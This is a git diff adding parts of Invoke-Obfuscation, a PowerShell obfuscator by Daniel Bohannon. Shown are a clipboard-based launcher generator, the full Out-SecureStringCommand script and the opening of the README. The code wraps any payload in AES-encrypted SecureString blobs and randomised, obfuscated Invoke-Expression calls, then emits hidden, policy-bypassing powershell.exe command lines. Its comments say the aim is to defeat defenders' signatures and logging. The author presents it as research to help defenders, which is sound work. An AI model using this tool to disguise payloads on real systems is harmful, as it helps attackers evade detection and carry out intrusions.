@('[Void]','$NULL=',"`$$RandomVarName=")) + "[$ReflectionAssembly]::LoadWithPartialName('System.Windows.Forms')" + $GetClipboardContentsOption = "([$WindowsFormsClipboard]::GetText())" + $ClearClipboardOption = "[$WindowsFormsClipboard]::" + (Get-Random -Input @('Clear()',"SetText(' ')")) + } + default {Write-Error "An invalid RandomClipSyntaxValue value ($RandomClipSyntaxValue) was passed to switch block for Out-RandomClipboardInvokeSyntax."; Exit;} + } + + # Generate syntax options for invoking clipboard contents, including numerous ways to invoke with $ExecutionContext as a variable, including Get-Variable varname, Get-ChildItem Variable:varname, Get-Item Variable:varname, etc. + $ExecContextVariables = @() + $ExecContextVariables += '(' + (Get-Random -Input @('DIR','Get-ChildItem','GCI','ChildItem','LS','Get-Item','GI','Item')) + ' ' + "'variable:" + (Get-Random -Input @('ex*xt','ExecutionContext')) + "').Value" + $ExecContextVariables += '(' + (Get-Random -Input @('Get-Variable','GV','Variable')) + ' ' + "'" + (Get-Random -Input @('ex*xt','ExecutionContext')) + "'" + (Get-Random -Input (').Value',(' ' + ('-ValueOnly'.SubString(0,(Get-Random -Minimum 3 -Maximum ('-ValueOnly'.Length+1)))) + ')'))) + # Select random option from above. + $ExecContextVariable = Get-Random -Input $ExecContextVariables + + # Generate random invoke operation syntax. + # 50% split between using $ExecutionContext invocation syntax versus IEX/Invoke-Expression/variable-obfuscated-'iex' syntax generated by Out-EncapsulatedInvokeExpression. + $ExpressionToInvoke = $GetClipboardContentsOption + If(Get-Random -Input @(0..1)) + { + # Randomly decide on invoke operation since we've applied an additional layer of string manipulation in above steps. + $InvokeOption = Out-EncapsulatedInvokeExpression $ExpressionToInvoke + } + Else + { + $InvokeOption = (Get-Random -Input @('$ExecutionContext','${ExecutionContext}',$ExecContextVariable)) + '.InvokeCommand.InvokeScript(' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $ExpressionToInvoke + ' '*(Get-Random -Minimum 0 -Maximum 3) + ')' + } + + # Random case of $InvokeOption. + $InvokeOption = ([Char[]]$InvokeOption.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Set final syntax for invoking clipboard contents. + $PowerShellClip = $LoadClipboardClassOption + ' '*(Get-Random -Minimum 0 -Maximum 3) + ';' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $InvokeOption + + # Add syntax for clearing clipboard contents. + $PowerShellClip = $PowerShellClip + ' '*(Get-Random -Minimum 0 -Maximum 3) + ';' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $ClearClipboardOption + + # Run through all relevant token obfuscation functions except Type since it causes error for direct type casting relevant classes in a non-interactive PowerShell session. + $PowerShellClip = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($PowerShellClip)) 'Member' + $PowerShellClip = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($PowerShellClip)) 'Member' + $PowerShellClip = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($PowerShellClip)) 'Command' + $PowerShellClip = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($PowerShellClip)) 'CommandArgument' + $PowerShellClip = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($PowerShellClip)) 'Variable' + $PowerShellClip = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($PowerShellClip)) 'String' + $PowerShellClip = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($PowerShellClip)) 'RandomWhitespace' + + # For obfuscated commands generated for $PowerShellClip syntax, single-escape & < > and | characters for cmd.exe. + ForEach($Char in @('<','>','|','&')) + { + # Remove single escaping and then escape all characters. This will handle single-escaped and not-escaped characters. + If($PowerShellClip.Contains("$Char")) + { + $PowerShellClip = $PowerShellClip.Replace("$Char","^$Char") + } + } + + # Escape double-quote with backslash for powershell.exe. + If($PowerShellClip.Contains('"')) + { + $PowerShellClip = $PowerShellClip.Replace('"','\"') + } + + Return $PowerShellClip +} \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/Out-SecureStringCommand.ps1 b/lib/powershell/Invoke-Obfuscation/Out-SecureStringCommand.ps1 new file mode 100644 index 000000000..6a4668dc5 --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Out-SecureStringCommand.ps1 @@ -0,0 +1,366 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Out-SecureStringCommand +{ +<# +.SYNOPSIS + +Generates AES-encrypted SecureString object out of three possible syntaxes for a PowerShell command or script. Optionally it adds command line output to final command. + +Invoke-Obfuscation Function: Out-SecureStringCommand +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-SecureStringCommand encrypts an input PowerShell scriptblock or path as a SecureString object. It randomly selects between three different syntaxes for accomplishing this. The purpose is to highlight to the Blue Team that there are more novel ways to encode/encrypt a PowerShell command other than the most common Base64 approach. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER NoExit + +Outputs the option to not exit after running startup commands. + +.PARAMETER NoProfile + +Outputs the option to not load the Windows PowerShell profile. + +.PARAMETER NonInteractive + +Outputs the option to not present an interactive prompt to the user. + +.PARAMETER NoLogo + +Outputs the option to not present the logo to the user. + +.PARAMETER Wow64 + +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +.PARAMETER Command + +Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt. + +.PARAMETER WindowStyle + +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +.PARAMETER ExecutionPolicy + +Outputs the option to set the default execution policy for the current session. + +.PARAMETER PassThru + +(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output. + +.EXAMPLE + +C:\PS> Out-SecureStringCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive + +powershell -NoProfi -NonIn " IEX( ([Runtime.InteropServices.Marshal]::PtrToStringUni( [Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode( $('76492d1116743f0423413b16050a5345MgB8AG0AOQBKAEcAZgBHAEwAaQBBADkAbABoAFQASgBGAGEATgBBAFUAOABIAGcAPQA9AHwAYwBmADEAZgA4ADQAYgAyADkAZgBjADcAOABiAGYAYgBkADAAZAA5AGMAMgBlADgAZQBjADIAOAAxADYAOQBhADYANQBkADYANQA3ADEAMAAwADQAMwBjADgAMAA1AGMAZAAwADYAOQAxAGIAMQA5ADYAYwAwADQAMAA1AGEAOAA5ADEANwA1ADgANgA5ADEANABhAGQAMABhAGEANwAxAGUAZgBjADcAZABiADMAYgBlADgAYQBhAGIAMAAyADIANwA2AGYAYwBhAGQANwA0ADkAOAA2ADEAMAA0ADIAYQBkAGYAMAA5ADgAMwAzAGEAYwBmADYANQA5ADAANQA0ADcAYgAwADEANAAyADgAMwBmADUAMQAzADAAMQBmADAAZABkAGIAOQAxAGIAZQAxADIAZQA2ADIAMgAxADgAOAA5ADEANgA1AGEANgA2AGEAZABjADcAZQAwAGIANgBmADEANgA2ADAAMwBjADEANQAzAGUAZgBkADUAYQAwADYAMgBmAGMAOAAxAGUANgBmADgAYwA5ADUAZgBlADMANAA1ADQANQA3ADIANgA2ADYAOQBlAGUANwBkAGUAYQAyAGIAZAA2AGUAZgBiADUANwA4AGQANQA5ADIANgBjADMAZgBlADUANQA4AGMAOQBjADcANQA2ADEAYwA3ADQAYwAzAGUAZAA4ADkAOABlAGYANAA5AGUAZQAwADYAMgAxAGEAZgA2ADIAOABkAGYANwA4AGIAOAA1ADQANgA2ADIAYgBkAGQANAA4AGYANwA4AGYAYQBmAGIAZAAyAGMAYgBiADkANQBlADIAYwAyADYANABkADgAMgA2AGIAZQBlADIAZQBlAGUAOQA0AGIANgAxADIAZgA0ADIAOQBmADAAYwBmADIAOQBmAGYANgBlAGUAZAA3ADMAMAA0ADMAYwBjADQAMgBhAGIAZgA4ADAAMQA1ADYAOQA5AGYAZQA4AGIAMwBhAGMAOQAyADcAYwA2AGQAMgBmAGYANwA4AGQAOABiADAAZQBmADcANgBlAGIAMwBiADgAMwAxADcAZQBlAGQAYQBmAGYAYgBmAGIAYQA5AGEAYQBhAGQAOAA5AGQAZgAwAGMAMgAwAGUANQBlADcAOQA5ADAAZgBkADkAZAAwADMAYQBhADIAZAA0ADcAOQBkADAANgA1ADUAOAA=' |ConvertTo-SecureString -Key 241,131,91,52,14,165,71,51,19,86,1,104,87,220,235,62) ))) )" + +C:\PS> Out-SecureStringCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru + +(New-Object Management.Automation.PSCredential ' ', ( '76492d1116743f0423413b16050a5345MgB8AEUAcQBKAHkAegBqAHUAQwBNAC8AeABPAHUAbgBlADAAUABMAHQARQAyAGcAPQA9AHwAMgBlAGEANQBiADMAMAA0ADMANQBkAGIAMQA2AGUAYwA2ADIANwAyADEANAA5ADUAYwAyADkAOAAzADUAZAAwADcANAAwADQAOQA0AGQAZQAwADUAYwBjADUAZgAwADYAYgA0AGIAYQA0AGYANwAxADUAMwA1AGUANQAxAGMANwBiADAANgA3ADgAOABmAGQAYwBjADYAMAA4AGYAZQAyADEAZAAyADQAMgBkAGYAYwBmADkAZQA5ADkAMwBmAGMAZAAzADgAOQAwADEANQBhADcANAA5AGUANQBiAGMAOAA2ADYAOAAxAGYAMwAxAGYAMwA4AGQANAA0ADAAYgA3ADUAMwBkADcAMQAwADAANABlAGIAOQAxAGIAOQAxADcAZgBjAGEANAA4ADUAOQBlADUAOAA1AGEANwBjADUAYQAwADgAOAAyAGEAMAAzADQAMQA3ADYAMwA0AGUAMwBiADUAZgA3AGMAMwA5AGQAZQAyADkAMgAxADAAMgA5ADUAMwBmADMAOAA5ADQAYwAyAGUANwA5AGMAMgA5ADEAMAAwAGEAMgAyAGQANQA4ADAAZQBiAGMAZAA1ADkAMgBlAGQAOAAyADIAZAA3ADQAYQBmADIANwAwADQAMQAzADQANgAxADQAMwA5ADgANQBlADIANQA2ADEAMwBiAGUAMwBhAGMAMQAwADIAYQBjAGMAYgA5AGUAYQBjAGQAZQAyADYAYgAyADkAZABjAGEAMAA4ADIANAA1AGMAOAAzADgAZgAyAGEAMABlAGYANAAwAGEAMgAyADgANQBlADkAMgAyAGEANgA0ADQANwBlADAAYgA0ADkAMgBkAGMANgAwAGMANwA3ADUAZABhADkAMgA1ADAAYgA0ADgAYQBmAGIAMQBjADEAMgA2ADEAZgA0ADkANgA4AGYAMQA0ADkAMAA0AGYANwBjAGMAYQBiAGQAZQA4ADIAMAA1AGUAZgA4ADMAZQAwAGMAYQBlADQAMgBkAGIAOQBkADUANwAzADQANwAyAGIAYwAxADQAYwBiAGEAZAA2AGYAZQAzADUAYgAxADgAYgBhADcANQAyADkAMAAwADcAMAA0ADQANgBlAGMAYQA1ADQAMQBhAGYAYgAzADYANwBjAGIAZgAyAGEAYgBkADgAZAAwAGEAZgBmADYAMQA2AGIAMAA1AGIANQA=' |ConvertTo-SecureString -Key 205,39,9,9,104,139,104,94,252,20,93,132,29,171,56,2 )).GetNetworkCredential().Password | Invoke-Expression + +.NOTES + +The size limit for a single SecureString object input is 65,536 characters. However, this will consume significant resources on the target system when decoding a SecureString object of this size (50% CPU and ~30 seconds on several test VMs). For larger payloads I would recommend chunking your payload and encoding/encrypting each piece separately and then reassembling each decoded/decrypted piece during runtime. I have a POC that does this and will be releasing a STAGING set of functions soon to accomplish this very task. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding(DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'FilePath')] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Switch] + $NoExit, + + [Switch] + $NoProfile, + + [Switch] + $NonInteractive, + + [Switch] + $NoLogo, + + [Switch] + $Wow64, + + [Switch] + $Command, + + [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] + [String] + $WindowStyle, + + [ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')] + [String] + $ExecutionPolicy, + + [Switch] + $PassThru + ) + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path)) + } + Else + { + $ScriptString = [String]$ScriptBlock + } + + # Convert $ScriptString to a SecureString object. + $SecureString = ConvertTo-SecureString $ScriptString -AsPlainText -Force + + # Randomly select the key length. Supported key lengths for SecureString (AES) are 16, 24 and 32. + $KeyLength = Get-Random @(16,24,32) + + # Randomly select the key value and how it will be formatted. + Switch(Get-Random -Minimum 1 -Maximum 3) + { + 1 { + # Generate random key of length $KeyLength. + $SecureStringKey = @() + For($i=0; $i -lt $KeyLength; $i++) { + $SecureStringKey += Get-Random -Minimum 0 -Maximum 256 + } + $SecureStringKeyStr = $SecureStringKey -Join ',' + } + 2 { + # Generate sequential key of length $KeyLength with random array bounds. + # To save space use shorthand array notation in final command with $SecureStringKeyStr. + $LowerBound = (Get-Random -Minimum 0 -Maximum (256-$KeyLength)) + $UpperBound = $LowerBound + ($KeyLength - 1) + Switch(Get-Random @('Ascending','Descending')) + { + 'Ascending' {$SecureStringKey = ($LowerBound..$UpperBound); $SecureStringKeyStr = "($LowerBound..$UpperBound)"} + 'Descending' {$SecureStringKey = ($UpperBound..$LowerBound); $SecureStringKeyStr = "($UpperBound..$LowerBound)"} + default {Write-Error "An invalid array ordering option was generated for switch block."; Exit;} + } + } + default {Write-Error "An invalid random number was generated for switch block."; Exit;} + } + + # Convert SecureString object to text that we can load on target system. + $SecureStringText = $SecureString | ConvertFrom-SecureString -Key $SecureStringKey + + # Generate random syntax for -Key command argument. + $Key = (Get-Random -Input @(' -Key ',' -Ke ',' -K ')) + + # Randomly choose member invocation syntax. ".Invoke" syntax below is not necessary for PS 3.0+ + $PtrToStringAuto = (Get-Random -Input @('PtrToStringAuto',('([Runtime.InteropServices.Marshal].GetMembers()[' + (Get-Random -Input @(3,5)) + '].Name).Invoke'))) + $PtrToStringUni = (Get-Random -Input @('PtrToStringUni' ,('([Runtime.InteropServices.Marshal].GetMembers()[' + (Get-Random -Input @(2,4)) + '].Name).Invoke'))) + $PtrToStringAnsi = (Get-Random -Input @('PtrToStringAnsi',('([Runtime.InteropServices.Marshal].GetMembers()[' + (Get-Random -Input @(0,1)) + '].Name).Invoke'))) + # Below four notations are commented out as they only work on PS 3.0+ + #$PtrToStringBSTR = (Get-Random -Input @('PtrToStringBSTR' ,'([Runtime.InteropServices.Marshal].GetMembers()[142].Name).Invoke')) + #$SecureStringToBSTR = (Get-Random -Input @('SecureStringToBSTR' ,'([Runtime.InteropServices.Marshal].GetMembers()[162].Name)')) + #$SecureStringToGlobalAllocUnicode = (Get-Random -Input @('SecureStringToGlobalAllocUnicode','([Runtime.InteropServices.Marshal].GetMembers()[169].Name)')) + #$SecureStringToGlobalAllocAnsi = (Get-Random -Input @('SecureStringToGlobalAllocAnsi' ,'([Runtime.InteropServices.Marshal].GetMembers()[168].Name)')) + + # Randomize the case versions for necessary operations. + $PtrToStringAuto = ([Char[]]"[Runtime.InteropServices.Marshal]::$PtrToStringAuto(" | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $PtrToStringUni = ([Char[]]"[Runtime.InteropServices.Marshal]::$PtrToStringUni(" | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $PtrToStringAnsi = ([Char[]]"[Runtime.InteropServices.Marshal]::$PtrToStringAnsi(" | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $PtrToStringBSTR = ([Char[]]'[Runtime.InteropServices.Marshal]::PtrToStringBSTR(' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $SecureStringToBSTR = ([Char[]]'[Runtime.InteropServices.Marshal]::SecureStringToBSTR(' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $SecureStringToGlobalAllocUnicode = ([Char[]]'[Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode(' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $SecureStringToGlobalAllocAnsi = ([Char[]]'[Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocAnsi(' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $NewObject = ([Char[]]'New-Object ' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $PSCredential = ([Char[]]'Management.Automation.PSCredential ' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $ConvertToSecureString = ([Char[]]'ConvertTo-SecureString' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Key = ([Char[]]$Key | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $GetNetworkCredential = ([Char[]]').GetNetworkCredential().Password' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Set syntax for running ConvertTo-SecureString cmdlet. + $ConvertToSecureStringSyntax = '$(' + "'$SecureStringText'" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ConvertToSecureString + ' '*(Get-Random -Input @(0,1)) + $Key + ' '*(Get-Random -Input @(0,1)) + $SecureStringKeyStr + ')' + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ')' + + # Generate the code that will decrypt and execute the payload and randomly select one. + $NewScriptArray = @() + $NewScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $PtrToStringAuto + ' '*(Get-Random -Input @(0,1)) + $SecureStringToBSTR + ' '*(Get-Random -Input @(0,1)) + $ConvertToSecureStringSyntax + $NewScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $PtrToStringUni + ' '*(Get-Random -Input @(0,1)) + $SecureStringToGlobalAllocUnicode + ' '*(Get-Random -Input @(0,1)) + $ConvertToSecureStringSyntax + $NewScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $PtrToStringAnsi + ' '*(Get-Random -Input @(0,1)) + $SecureStringToGlobalAllocAnsi + ' '*(Get-Random -Input @(0,1)) + $ConvertToSecureStringSyntax + $NewScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $PtrToStringBSTR + ' '*(Get-Random -Input @(0,1)) + $SecureStringToBSTR + ' '*(Get-Random -Input @(0,1)) + $ConvertToSecureStringSyntax + $NewScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $NewObject + ' '*(Get-Random -Input @(0,1)) + $PSCredential + ' '*(Get-Random -Input @(0,1)) + "' '" + ',' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + "'$SecureStringText'" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ConvertToSecureString + ' '*(Get-Random -Input @(0,1)) + $Key + ' '*(Get-Random -Input @(0,1)) + $SecureStringKeyStr + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $GetNetworkCredential + # Select random option from above. + $NewScript = (Get-Random -Input $NewScriptArray) + + # Generate random invoke operation syntax. + # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies. + $InvokeExpressionSyntax = @() + $InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression')) + # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. + # Though far from fully built out (and not sure that I ever will), these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet. + # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc. + $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1)) + $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')" + + # Randomly choose from above invoke operation syntaxes. + $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax) + + # Randomize the case of selected invoke operation. + $InvokeExpression = ([Char[]]$InvokeExpression | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Generate random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) + $InvokeOptions = @() + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + # Select random option from above. + $NewScript = (Get-Random -Input $InvokeOptions) + + # If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript. + If(!$PSBoundParameters['PassThru']) + { + # Array to store all selected PowerShell execution flags. + $PowerShellFlags = @() + + # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. + # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags. + $CommandlineOptions = New-Object String[](0) + If($PSBoundParameters['NoExit']) + { + $FullArgument = "-NoExit"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoProfile']) + { + $FullArgument = "-NoProfile"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NonInteractive']) + { + $FullArgument = "-NonInteractive"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoLogo']) + { + $FullArgument = "-NoLogo"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle) + { + $FullArgument = "-WindowStyle" + If($WindowsStyle) {$ArgumentValue = $WindowsStyle} + Else {$ArgumentValue = $PSBoundParameters['WindowStyle']} + + # Randomly decide to write WindowStyle value with flag substring or integer value. + Switch($ArgumentValue.ToLower()) + { + 'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}} + 'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}} + 'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}} + 'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}} + default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;} + } + + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy) + { + $FullArgument = "-ExecutionPolicy" + If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy} + Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']} + # Take into account the shorted flag of -EP as well. + $ExecutionPolicyFlags = @() + $ExecutionPolicyFlags += '-EP' + For($Index=3; $Index -le $FullArgument.Length; $Index++) + { + $ExecutionPolicyFlags += $FullArgument.SubString(0,$Index) + } + $ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags + $PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + + # Randomize the order of the execution flags. + # This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags. + If($CommandlineOptions.Count -gt 1) + { + $CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count + } + + # If selected then the -Command flag needs to be added last. + If($PSBoundParameters['Command']) + { + $FullArgument = "-Command" + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + } + + # Randomize the case of all command-line arguments. + For($i=0; $i -lt $PowerShellFlags.Count; $i++) + { + $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + + # Random-sized whitespace between all execution flags and encapsulating final string of execution flags. + $CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join '' + $CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3) + + # Build up the full command-line string. + If($PSBoundParameters['Wow64']) + { + $CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + } + Else + { + # Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon). + #$CommandLineOutput = "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + $CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`"" + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + $CmdMaxLength = 8190 + If($CommandLineOutput.Length -gt $CmdMaxLength) + { + Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters." + } + + $NewScript = $CommandLineOutput + } + + Return $NewScript +} \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/README.md b/lib/powershell/Invoke-Obfuscation/README.md new file mode 100644 index 000000000..4a72c813d --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/README.md @@ -0,0 +1,146 @@ +Invoke-Obfuscation v1.7 +=============== + +![Invoke-Obfuscation Screenshot](https://github.com/danielbohannon/danielbohannon.github.io/blob/master/Invoke-Obfuscation%20Screenshot.png) + +Introduction +------------ +Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command +and script obfuscator. + +Background +---------- +In the Fall of 2015 I decided to begin researching the flexibility of +PowerShell's language and began cataloguing the various ways to +accomplish a handful of common techniques that most attackers use on a +regular basis. + +Initially focusing on encoded command and remote download cradle syntaxes, +I discovered that various escape characters that did not hinder the +execution of the command persisted in the command line arguments, both in +the running process as well as what is logged in Security EID 4688 and +Sysmon EID 1 event logs. This led me to systematically explore ways of +obfuscating each kind of "token" found in any PowerShell command or script. + +I then explored more obscure ways to perform string-level obfuscation, +various encoding/encrypting techniques (like ASCII/hex/octal/binary and even +SecureString), and finally PowerShell launch techniques to abstract the +command line arguments from powershell.exe and to push it back to the parent +and even grandparent process. + +Purpose +------- +Attackers and commodity malware have started using extremely basic 